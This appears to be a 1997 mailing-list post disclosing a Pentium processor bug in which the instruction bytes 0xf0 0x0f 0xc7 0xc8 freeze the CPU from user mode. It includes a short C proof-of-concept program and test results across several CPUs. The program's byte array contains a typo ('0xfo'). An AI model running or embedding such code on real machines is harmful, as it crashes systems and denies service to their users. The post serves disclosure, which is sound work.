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Date: Fri, 07 Nov 1997 10:39:24 -0800
From: Julian Elischer <julian@whistle.com>
Organization: Whistle Communications
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Subject: Newest Pentium bug (fatal)
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On a "genuine Intel" pentium (not pentium pro)
execution of the following sequence, 0xf0 0x0f 0xc7 0xc8

will stop the processor. This is doable from user mode and in 
16bitmode, or in fact any mode.

try the following c program.




unsigned char x[] = { 0xfo, 0x0f, 0xc7, 0xc8 };


main ()
{
  void (*f)(void) = x;
  f();
}




We've checked:
K5... OK
P6...  OK
P5...   *SPLAT*

no idea about the pentium II or other pentium copies.
K6?

other pentium variants?
versions?

this one DEFINITLY dies:
CPU: Pentium (99.38-MHz 586-class CPU)
  Origin = "GenuineIntel"  Id = 0x525  Stepping=5
  Features=0x1bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8>


share and enjoy..

julian